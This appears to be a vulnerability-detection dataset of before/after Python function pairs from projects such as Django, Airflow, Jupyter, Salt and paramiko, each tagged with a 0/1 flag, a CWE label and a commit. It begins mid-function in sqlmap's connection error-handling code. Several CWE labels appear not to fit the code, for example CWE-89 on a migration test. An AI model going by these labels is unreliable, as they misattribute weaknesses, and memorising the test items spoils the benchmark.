                elif ex.code == _http_client.REQUEST_URI_TOO_LONG:
                    warnMsg = ""request URI is marked as too long by the target. ""
                    warnMsg += ""you are advised to try a switch '--no-cast' and/or '--no-escape'""
                    singleTimeWarnMessage(warnMsg)
                elif ex.code == _http_client.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == _http_client.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, _http_client.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d ('%s')"" % (code, status)
                    logger.debug(debugMsg)

        except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError, AssertionError, KeyError):
            tbMsg = traceback.format_exc()

            if conf.debug:
                dataToStdout(tbMsg)

            if checking:
                return None, None, None
            elif ""KeyError:"" in tbMsg:
                if ""content-length"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""AttributeError:"" in tbMsg:
                if ""WSAECONNREFUSED"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif any(_ in tbMsg for _ in (""forcibly closed"", ""Connection is already closed"", ""ConnectionAbortedError"")):
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>\n]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.choices.connError is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue? [y/N] ""

                    kb.choices.connError = readInput(message, default='N', boolean=True)

                if kb.choices.connError is False:
                    raise SqlmapSkipTargetException

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"", ""Interrupted system call"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or kb.multiThreadMode:
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            for function in kb.postprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running postprocess ""
                    errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            if isinstance(page, six.binary_type):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = six.text_type(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for _ in (getattr(conn, ""redcode"", None), code):
                if _ is not None and _ in conf.abortCode:
                    errMsg = ""aborting due to detected HTTP code '%d'"" % _
                    singleTimeLogMessage(errMsg, logging.CRITICAL)
                    raise SystemExit

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091)
        if not sys.version.startswith(""3.11.""):
            if conf.retryOn and re.search(conf.retryOn, page, re.I):
                if threadData.retriesCount < conf.retries:
                    warnMsg = ""forced retry of the request because of undesired page content""
                    logger.warning(warnMsg)
                    return Connect._retryProxy(**kwargs)

        processResponse(page, responseHeaders, code, status)

        if not skipLogTraffic:
            if conn and getattr(conn, ""redurl"", None):
                _ = _urllib.parse.urlsplit(conn.redurl)
                _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
                requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

                if kb.resendPostOnRedirect is False:
                    requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                    requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                    requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
            elif ""\n"" not in responseMsg:
                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/notebook/handlers.py,0,"def get(self, path=''):
        nbm = self.notebook_manager
        if nbm.path_exists(path):
            # it's a *directory*, redirect to /tree
            url = url_path_join(self.base_url, 'tree', path)
        else:
            # otherwise, redirect to /files
            if '/files/' in path:
                # redirect without files/ iff it would 404
                # this preserves pre-2.0-style 'files/' links
                # FIXME: this is hardcoded based on notebook_path,
                # but so is the files handler itself,
                # so it should work until both are cleaned up.
                parts = path.split('/')
                files_path = os.path.join(nbm.notebook_dir, *parts)
                self.log.warn(""filespath: %s"", files_path)
                if not os.path.exists(files_path):
                    path = path.replace('/files/', '/', 1)
            
            url = url_path_join(self.base_url, 'files', path)
        url = url_escape(url)
        self.log.debug(""Redirecting %s to %s"", self.request.path, url)
        self.redirect(url)",,jupyter/notebook,778a1baaf9e564518e60f9d90e3ca381ea1447ad,"def get(self, path=''):
        nbm = self.notebook_manager
        if nbm.path_exists(path):
            # it's a *directory*, redirect to /tree
            url = url_path_join(self.base_project_url, 'tree', path)
        else:
            # otherwise, redirect to /files
            if '/files/' in path:
                # redirect without files/ iff it would 404
                # this preserves pre-2.0-style 'files/' links
                # FIXME: this is hardcoded based on notebook_path,
                # but so is the files handler itself,
                # so it should work until both are cleaned up.
                parts = path.split('/')
                files_path = os.path.join(nbm.notebook_dir, *parts)
                self.log.warn(""filespath: %s"", files_path)
                if not os.path.exists(files_path):
                    path = path.replace('/files/', '/', 1)
            
            url = url_path_join(self.base_project_url, 'files', path)
        url = url_escape(url)
        self.log.debug(""Redirecting %s to %s"", self.request.path, url)
        self.redirect(url)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/file_storage/tests.py,0,"def test_get_nonexisting_storage_module(self):
        """"""
        get_storage_class raises an error if the requested module don't exist.
        """"""
        # Error message may or may not be the fully qualified path.
        with six.assertRaisesRegex(self, ImportError, ""No module named '?(django.core.files.)?non_existing_storage'?""):
            get_storage_class('django.core.files.non_existing_storage.NonExistingStorage')",CWE-Unknown,django/django,92053acbb9160862c3e743a99ed8ccff8d4f8fd6,"def test_get_nonexisting_storage_module(self):
        """"""
        get_storage_class raises an error if the requested module don't exist.
        """"""
        # Error message may or may not be the fully qualified path.
        with six.assertRaisesRegex(self, ImportError,
                ""No module named '?(django.core.files.)?non_existing_storage'?""):
            get_storage_class(
                'django.core.files.non_existing_storage.NonExistingStorage')"
,UNKNOWN,UNKNOWN,django/db/backends/schema.py,1,"def _create_index_name(self, model, column_names, suffix=""""):
        """"""
        Generates a unique name for an index/unique constraint.
        """"""
        # If there is just one column in the index, use a default algorithm from Django
        if len(column_names) == 1 and not suffix:
            return truncate_name(
                '%s_%s' % (model._meta.db_table, BaseDatabaseCreation._digest(column_names[0])),
                self.connection.ops.max_name_length()
            )
        # Else generate the name for the index using a different algorithm
        table_name = model._meta.db_table.replace('""', '').replace('.', '_')
        index_unique_name = '_%x' % abs(hash((table_name, ','.join(column_names))))
        max_length = self.connection.ops.max_name_length() or 200
        # If the index name is too long, truncate it
        index_name = ('%s_%s%s%s' % (table_name, column_names[0], index_unique_name, suffix)).replace('""', '').replace('.', '_')
        if len(index_name) > max_length:
            part = ('_%s%s%s' % (column_names[0], index_unique_name, suffix))
            index_name = '%s%s' % (table_name[:(max_length - len(part))], part)
        # It shouldn't start with an underscore (Oracle hates this)
        if index_name[0] == ""_"":
            index_name = index_name[1:]
        # If it's STILL too long, just hash it down
        if len(index_name) > max_length:
            index_name = hashlib.md5(force_bytes(index_name)).hexdigest()[:max_length]
        # It can't start with a number on Oracle, so prepend D if we need to
        if index_name[0].isdigit():
            index_name = ""D%s"" % index_name[:-1]
        return index_name",CWE-327,django/django,9c4ad454d18816d418b0bd31be91fae16c795f15,"def _create_index_name(self, model, column_names, suffix=""""):
        """"""
        Generates a unique name for an index/unique constraint.
        """"""
        # If there is just one column in the index, use a default algorithm from Django
        if len(column_names) == 1 and not suffix:
            return truncate_name(
                '%s_%s' % (model._meta.db_table, BaseDatabaseCreation._digest(column_names[0])),
                self.connection.ops.max_name_length()
            )
        # Else generate the name for the index using a different algorithm
        table_name = model._meta.db_table.replace('""', '').replace('.', '_')
        index_unique_name = '_%x' % abs(hash((table_name, ','.join(column_names))))
        # If the index name is too long, truncate it
        index_name = ('%s_%s%s%s' % (table_name, column_names[0], index_unique_name, suffix)).replace('""', '').replace('.', '_')
        if len(index_name) > self.connection.features.max_index_name_length:
            part = ('_%s%s%s' % (column_names[0], index_unique_name, suffix))
            index_name = '%s%s' % (table_name[:(self.connection.features.max_index_name_length - len(part))], part)
        # It shouldn't start with an underscore (Oracle hates this)
        if index_name[0] == ""_"":
            index_name = index_name[1:]
        # If it's STILL too long, just hash it down
        if len(index_name) > self.connection.features.max_index_name_length:
            index_name = hashlib.md5(force_bytes(index_name)).hexdigest()[:self.connection.features.max_index_name_length]
        # It can't start with a number on Oracle, so prepend D if we need to
        if index_name[0].isdigit():
            index_name = ""D%s"" % index_name[:-1]
        return index_name"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/contrib/hooks/test_gcs_hook.py,0,"def test_exists(self, mock_service):
        test_bucket = 'test_bucket'
        test_object = 'test_object'

        # Given
        get_bucket_mock = mock_service.return_value.get_bucket
        blob_object = get_bucket_mock.return_value.blob
        exists_method = blob_object.return_value.exists
        exists_method.return_value = True

        # When
        response = self.gcs_hook.exists(bucket_name=test_bucket, object_name=test_object)

        # Then
        self.assertTrue(response)
        get_bucket_mock.assert_called_once_with(test_bucket)
        blob_object.assert_called_once_with(blob_name=test_object)
        exists_method.assert_called_once_with()",CWE-Unknown,apache/airflow,201e67100c200d38dbc3cd530cd04dd31bf91d7f,"def test_exists(self, mock_service):
        test_bucket = 'test_bucket'
        test_object = 'test_object'

        # Given
        get_bucket_mock = mock_service.return_value.get_bucket
        blob_object = get_bucket_mock.return_value.blob
        exists_method = blob_object.return_value.exists
        exists_method.return_value = True

        # When
        response = self.gcs_hook.exists(bucket_name=test_bucket, object_name=test_object)

        # Then
        self.assertTrue(response)
        get_bucket_mock.assert_called_once_with(bucket_name=test_bucket)
        blob_object.assert_called_once_with(blob_name=test_object)
        exists_method.assert_called_once_with()"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/galaxy/role.py,0,"def __init__(self, galaxy, api, name, src=None, version=None, scm=None, path=None):

        self._metadata = None
        self._requirements = None
        self._install_info = None
        self._validate_certs = not context.CLIARGS['ignore_certs']

        display.debug('Validate TLS certificates: %s' % self._validate_certs)

        self.galaxy = galaxy
        self.api = api

        self.name = name
        self.version = version
        self.src = src or name
        self.download_url = None
        self.scm = scm
        self.paths = [os.path.join(x, self.name) for x in galaxy.roles_paths]

        if path is not None:
            if not path.endswith(os.path.join(os.path.sep, self.name)):
                path = os.path.join(path, self.name)
            else:
                # Look for a meta/main.ya?ml inside the potential role dir in case
                #  the role name is the same as parent directory of the role.
                #
                # Example:
                #   ./roles/testing/testing/meta/main.yml
                for meta_main in self.META_MAIN:
                    if os.path.exists(os.path.join(path, name, meta_main)):
                        path = os.path.join(path, self.name)
                        break
            self.path = path
        else:
            # use the first path by default
            self.path = self.paths[0]",,ansible/ansible,f59d0456e1bd4e2a7d45366acfaed92f6157f0f6,"def __init__(self, galaxy, api, name, src=None, version=None, scm=None, path=None):

        self._metadata = None
        self._requirements = None
        self._install_info = None
        self._validate_certs = not context.CLIARGS['ignore_certs']

        display.debug('Validate TLS certificates: %s' % self._validate_certs)

        self.galaxy = galaxy
        self.api = api

        self.name = name
        self.version = version
        self.src = src or name
        self.download_url = None
        self.scm = scm
        self.paths = [os.path.join(x, self.name) for x in galaxy.roles_paths]

        if path is not None:
            if not path.endswith(os.path.join(os.path.sep, self.name)):
                path = os.path.join(path, self.name)
            else:
                # Look for a meta/main.ya?ml inside the potential role dir in case
                #  the role name is the same as parent directory of the role.
                #
                # Example:
                #   ./roles/testing/testing/meta/main.yml
                for meta_main in self.META_MAIN:
                    if os.path.exists(os.path.join(path, name, meta_main)):
                        path = os.path.join(path, self.name)
                        break
            self.path = path
        else:
            # use the first path by default
            self.path = os.path.join(galaxy.roles_paths[0], self.name)"
,UNKNOWN,UNKNOWN,tests/providers/google/cloud/operators/test_stackdriver.py,1,"def test_execute(self, mock_hook):
        operator = StackdriverListAlertPoliciesOperator(task_id=TEST_TASK_ID, filter_=TEST_FILTER)
        mock_hook.return_value.list_alert_policies.return_value = [AlertPolicy(name=""test-name"")]
        result = operator.execute(context=mock.MagicMock())
        mock_hook.return_value.list_alert_policies.assert_called_once_with(
            project_id=None,
            filter_=TEST_FILTER,
            format_=None,
            order_by=None,
            page_size=None,
            retry=DEFAULT,
            timeout=None,
            metadata=(),
        )
        assert [
            {
                ""combiner"": 0,
                ""conditions"": [],
                ""display_name"": """",
                ""name"": ""test-name"",
                ""notification_channels"": [],
                ""severity"": 0,
                ""user_labels"": {},
            }
        ] == result",CWE-703,apache/airflow,108b305d9ec2207d8c003417f61ca44f89c0c85e,"def test_execute(self, mock_hook):
        operator = StackdriverListAlertPoliciesOperator(task_id=TEST_TASK_ID, filter_=TEST_FILTER)
        mock_hook.return_value.list_alert_policies.return_value = [AlertPolicy(name=""test-name"")]
        result = operator.execute(context=mock.MagicMock())
        mock_hook.return_value.list_alert_policies.assert_called_once_with(
            project_id=None,
            filter_=TEST_FILTER,
            format_=None,
            order_by=None,
            page_size=None,
            retry=DEFAULT,
            timeout=None,
            metadata=(),
        )
        assert [
            {
                ""combiner"": 0,
                ""conditions"": [],
                ""display_name"": """",
                ""name"": ""test-name"",
                ""notification_channels"": [],
                ""user_labels"": {},
            }
        ] == result"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/sessions/sessionmanager.py,0,"def new_session_id(self):
        ""Create a uuid for a new session""
        return unicode_type(uuid.uuid4())",,jupyter/notebook,f10ce5d4ed99672d363e63ab3eab7c6663681458,"def new_session_id(self):
        ""Create a uuid for a new session""
        return unicode_type(uuid.uuid4())"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/returners/mysql.py,0,"def returner(ret):
    '''
    Return data to a mysql server
    '''
    try:
        with _get_serv(ret, commit=True) as cur:
            sql = '''INSERT INTO `salt_returns`
                    (`fun`, `jid`, `return`, `id`, `success`, `full_ret` )
                    VALUES (%s, %s, %s, %s, %s, %s)'''

            cur.execute(sql, (ret['fun'], ret['jid'],
                              json.dumps(ret['return']),
                              ret['id'],
                              ret['success'],
                              json.dumps(ret)))
    except salt.exceptions.SaltMasterError:
        log.critical('Could not store return with MySQL returner. MySQL server unavailable.')",,saltstack/salt,9363b81fe0b45f92e4d9ea2ee19b9fcb12f2bc66,"def returner(ret):
    '''
    Return data to a mysql server
    '''
    try:
        with _get_serv(ret, commit=True) as cur:
            sql = '''INSERT INTO `salt_returns`
                    (`fun`, `jid`, `return`, `id`, `success`, `full_ret` )
                    VALUES (%s, %s, %s, %s, %s, %s)'''

            success = 'None'
            if 'success' in ret:
                success = ret['success']
            fun = 'None'
            if 'fun' in ret:
                fun = ret['fun']
            cur.execute(sql, (fun, ret['jid'],
                              json.dumps(ret['return']),
                              ret['id'],
                              success,
                              json.dumps(ret)))
    except salt.exceptions.SaltMasterError:
        log.critical('Could not store return with MySQL returner. MySQL server unavailable.')"
,UNKNOWN,UNKNOWN,tests/test_requests.py,1,"def test_json_encodes_as_bytes():
    # urllib3 expects bodies as bytes-like objects
    body = {""key"": ""value""}
    p = PreparedRequest()
    p.prepare(
        method='GET',
        url='https://www.example.com/',
        json=body
    )
    assert isinstance(p.body, bytes)",CWE-703,psf/requests,04bb965c87218c74437cd3e1c2fa09866b07b3c0,"def test_json_encodes_as_bytes():
    # urllib3 expects bodies as bytes-like objects
    body = {""key"": ""value""}
    p = PreparedRequest()
    p.prepare(
        method='GET',
        url='https://www.example.com/',
        json='body'
    )
    assert isinstance(p.body, bytes)"
,UNKNOWN,UNKNOWN,tests/migrations/test_operations.py,1,"def test_rename_field(self):
        """"""
        Tests the RenameField operation.
        """"""
        project_state = self.set_up_test_model(""test_rnfl"", unique_together=True, index_together=True)
        # Test the state alteration
        operation = migrations.RenameField(""Pony"", ""pink"", ""blue"")
        self.assertEqual(operation.describe(), ""Rename field pink on Pony to blue"")
        self.assertEqual(operation.migration_name_fragment, 'rename_pink_pony_blue')
        new_state = project_state.clone()
        operation.state_forwards(""test_rnfl"", new_state)
        self.assertIn(""blue"", new_state.models[""test_rnfl"", ""pony""].fields)
        self.assertNotIn(""pink"", new_state.models[""test_rnfl"", ""pony""].fields)
        # Make sure the unique_together has the renamed column too
        self.assertIn(""blue"", new_state.models[""test_rnfl"", ""pony""].options['unique_together'][0])
        self.assertNotIn(""pink"", new_state.models[""test_rnfl"", ""pony""].options['unique_together'][0])
        # Make sure the index_together has the renamed column too
        self.assertIn(""blue"", new_state.models[""test_rnfl"", ""pony""].options['index_together'][0])
        self.assertNotIn(""pink"", new_state.models[""test_rnfl"", ""pony""].options['index_together'][0])
        # Test the database alteration
        self.assertColumnExists(""test_rnfl_pony"", ""pink"")
        self.assertColumnNotExists(""test_rnfl_pony"", ""blue"")
        with connection.schema_editor() as editor:
            operation.database_forwards(""test_rnfl"", editor, project_state, new_state)
        self.assertColumnExists(""test_rnfl_pony"", ""blue"")
        self.assertColumnNotExists(""test_rnfl_pony"", ""pink"")
        # Ensure the unique constraint has been ported over
        with connection.cursor() as cursor:
            cursor.execute(""INSERT INTO test_rnfl_pony (blue, weight) VALUES (1, 1)"")
            with self.assertRaises(IntegrityError):
                with atomic():
                    cursor.execute(""INSERT INTO test_rnfl_pony (blue, weight) VALUES (1, 1)"")
            cursor.execute(""DELETE FROM test_rnfl_pony"")
        # Ensure the index constraint has been ported over
        self.assertIndexExists(""test_rnfl_pony"", [""weight"", ""blue""])
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards(""test_rnfl"", editor, new_state, project_state)
        self.assertColumnExists(""test_rnfl_pony"", ""pink"")
        self.assertColumnNotExists(""test_rnfl_pony"", ""blue"")
        # Ensure the index constraint has been reset
        self.assertIndexExists(""test_rnfl_pony"", [""weight"", ""pink""])
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], ""RenameField"")
        self.assertEqual(definition[1], [])
        self.assertEqual(definition[2], {'model_name': ""Pony"", 'old_name': ""pink"", 'new_name': ""blue""})",CWE-89,django/django,7f4c9222dfe2f28ff8a7ffc56c28ccbadf19cf6f,"def test_rename_field(self):
        """"""
        Tests the RenameField operation.
        """"""
        project_state = self.set_up_test_model(""test_rnfl"", unique_together=True, index_together=True)
        # Test the state alteration
        operation = migrations.RenameField(""Pony"", ""pink"", ""blue"")
        self.assertEqual(operation.describe(), ""Rename field pink on Pony to blue"")
        self.assertEqual(operation.migration_name_fragment, 'rename_pink_pony_blue')
        new_state = project_state.clone()
        operation.state_forwards(""test_rnfl"", new_state)
        self.assertIn(""blue"", new_state.models[""test_rnfl"", ""pony""].fields)
        self.assertNotIn(""pink"", new_state.models[""test_rnfl"", ""pony""].fields)
        # Make sure the unique_together has the renamed column too
        self.assertIn(""blue"", new_state.models[""test_rnfl"", ""pony""].options['unique_together'][0])
        self.assertNotIn(""pink"", new_state.models[""test_rnfl"", ""pony""].options['unique_together'][0])
        # Make sure the index_together has the renamed column too
        self.assertIn(""blue"", new_state.models[""test_rnfl"", ""pony""].options['index_together'][0])
        self.assertNotIn(""pink"", new_state.models[""test_rnfl"", ""pony""].options['index_together'][0])
        # Test the database alteration
        self.assertColumnExists(""test_rnfl_pony"", ""pink"")
        self.assertColumnNotExists(""test_rnfl_pony"", ""blue"")
        with connection.schema_editor() as editor:
            operation.database_forwards(""test_rnfl"", editor, project_state, new_state)
        self.assertColumnExists(""test_rnfl_pony"", ""blue"")
        self.assertColumnNotExists(""test_rnfl_pony"", ""pink"")
        # Ensure the unique constraint has been ported over
        with connection.cursor() as cursor:
            cursor.execute(""INSERT INTO test_rnfl_pony (blue, weight) VALUES (1, 1)"")
            with self.assertRaises(IntegrityError):
                with atomic():
                    cursor.execute(""INSERT INTO test_rnfl_pony (blue, weight) VALUES (1, 1)"")
            cursor.execute(""DELETE FROM test_rnfl_pony"")
        # Ensure the index constraint has been ported over
        self.assertIndexExists(""test_rnfl_pony"", [""weight"", ""blue""])
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards(""test_rnfl"", editor, new_state, project_state)
        self.assertColumnExists(""test_rnfl_pony"", ""pink"")
        self.assertColumnNotExists(""test_rnfl_pony"", ""blue"")
        # Ensure the index constraint has been reset
        self.assertIndexExists(""test_rnfl_pony"", [""weight"", ""pink""])
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], ""RenameField"")
        self.assertEqual(definition[1], [])
        self.assertEqual(definition[2], {'model_name': ""Pony"", 'old_name': ""pink"", 'new_name': ""blue""})"
,UNKNOWN,UNKNOWN,tests/evaluate/logging/test_utils.py,1,"def test_evaluations_to_dataframes_empty():
    # Empty evaluations list
    evaluations_df, metrics_df, assessments_df, tags_df = evaluations_to_dataframes([])

    # Verify that the DataFrames are empty
    assert evaluations_df.empty
    assert metrics_df.empty
    assert assessments_df.empty
    assert tags_df.empty

    # Verify the column names of the empty DataFrames
    expected_evaluation_columns = [
        ""evaluation_id"",
        ""run_id"",
        ""inputs_id"",
        ""inputs"",
        ""outputs"",
        ""request_id"",
        ""targets"",
        ""error_code"",
        ""error_message"",
    ]
    expected_metrics_columns = [
        ""evaluation_id"",
        ""key"",
        ""value"",
        ""timestamp"",
        ""model_id"",
        ""dataset_name"",
        ""dataset_digest"",
        ""run_id"",
    ]
    expected_assessments_columns = [
        ""evaluation_id"",
        ""name"",
        ""source"",
        ""timestamp"",
        ""boolean_value"",
        ""numeric_value"",
        ""string_value"",
        ""rationale"",
        ""metadata"",
        ""error_code"",
        ""error_message"",
    ]
    expected_tags_columns = [""evaluation_id"", ""key"", ""value""]

    assert list(evaluations_df.columns) == expected_evaluation_columns
    assert list(metrics_df.columns) == expected_metrics_columns
    assert list(assessments_df.columns) == expected_assessments_columns
    assert list(tags_df.columns) == expected_tags_columns",CWE-703,mlflow/mlflow,973004d031888503693ec6c3dd0946feaa655f6f,"def test_evaluations_to_dataframes_empty():
    # Empty evaluations list
    evaluations_df, metrics_df, assessments_df, tags_df = evaluations_to_dataframes([])

    # Verify that the DataFrames are empty
    assert evaluations_df.empty
    assert metrics_df.empty
    assert assessments_df.empty
    assert tags_df.empty

    # Verify the column names of the empty DataFrames
    expected_evaluation_columns = [
        ""evaluation_id"",
        ""run_id"",
        ""inputs_id"",
        ""inputs"",
        ""outputs"",
        ""request_id"",
        ""targets"",
        ""error_code"",
        ""error_message"",
    ]
    expected_metrics_columns = [""evaluation_id"", ""key"", ""value"", ""timestamp""]
    expected_assessments_columns = [
        ""evaluation_id"",
        ""name"",
        ""source"",
        ""timestamp"",
        ""boolean_value"",
        ""numeric_value"",
        ""string_value"",
        ""rationale"",
        ""metadata"",
        ""error_code"",
        ""error_message"",
    ]
    expected_tags_columns = [""evaluation_id"", ""key"", ""value""]

    assert list(evaluations_df.columns) == expected_evaluation_columns
    assert list(metrics_df.columns) == expected_metrics_columns
    assert list(assessments_df.columns) == expected_assessments_columns
    assert list(tags_df.columns) == expected_tags_columns"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/rsakey.py,0,"def generate(bits, progress_func=None):
        """"""
        Generate a new private RSA key.  This factory function can be used to
        generate a new host key or authentication key.

        @param bits: number of bits the generated key should be.
        @type bits: int
        @param progress_func: an optional function to call at key points in
        key generation (used by C{pyCrypto.PublicKey}).
        @type progress_func: function
        @return: new private key
        @rtype: L{RSAKey}

        @since: fearow
        """"""
        rsa = RSA.generate(bits, randpool.get_bytes, progress_func)
        key = RSAKey()
        key.n = rsa.n
        key.e = rsa.e
        key.d = rsa.d
        key.p = rsa.p
        key.q = rsa.q
        key.valid = True
        return key",,paramiko/paramiko,2feddf8ef78c8cfc05862d723b230f2baabdada3,"def generate(bits, progress_func=None):
        """"""
        Generate a new private RSA key.  This factory function can be used to
        generate a new host key or authentication key.

        @param bits: number of bits the generated key should be.
        @type bites: int
        @param progress_func: an optional function to call at key points in
        key generation (used by L{pyCrypto.PublicKey}).
        @type progress_func: function
        @return: new private key
        @rtype: L{RSAKey}

        @since: fearow
        """"""
        rsa = RSA.generate(bits, randpool.get_bytes, progress_func)
        key = RSAKey()
        key.n = rsa.n
        key.e = rsa.e
        key.d = rsa.d
        key.p = rsa.p
        key.q = rsa.q
        key.valid = True
        return key"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/www/utils.py,0,"def json_response(obj):
    """"""
    returns a json response from a json serializable python object
    """"""
    return Response(
        response=json.dumps(
            obj, indent=4, cls=AirflowJsonEncoder),
        status=200,
        mimetype=""application/json"")",CWE-Unknown,apache/airflow,717ddaf737ec1c57244377f73dd0e80e1628576a,"def json_response(obj):
    """"""
    returns a json response from a json serializable python object
    """"""
    return Response(
        response=json.dumps(
            obj, indent=4, cls=AirflowJsonEncoder),
        status=200,
        mimetype=""application/json"")"
,UNKNOWN,UNKNOWN,src/flask/app.py,1,"def __init__(
        self,
        import_name: str,
        static_url_path: t.Optional[str] = None,
        static_folder: t.Optional[t.Union[str, os.PathLike]] = ""static"",
        static_host: t.Optional[str] = None,
        host_matching: bool = False,
        subdomain_matching: bool = False,
        template_folder: t.Optional[str] = ""templates"",
        instance_path: t.Optional[str] = None,
        instance_relative_config: bool = False,
        root_path: t.Optional[str] = None,
    ):
        super().__init__(
            import_name=import_name,
            static_folder=static_folder,
            static_url_path=static_url_path,
            template_folder=template_folder,
            root_path=root_path,
        )

        if instance_path is None:
            instance_path = self.auto_find_instance_path()
        elif not os.path.isabs(instance_path):
            raise ValueError(
                ""If an instance path is provided it must be absolute.""
                "" A relative path was given instead.""
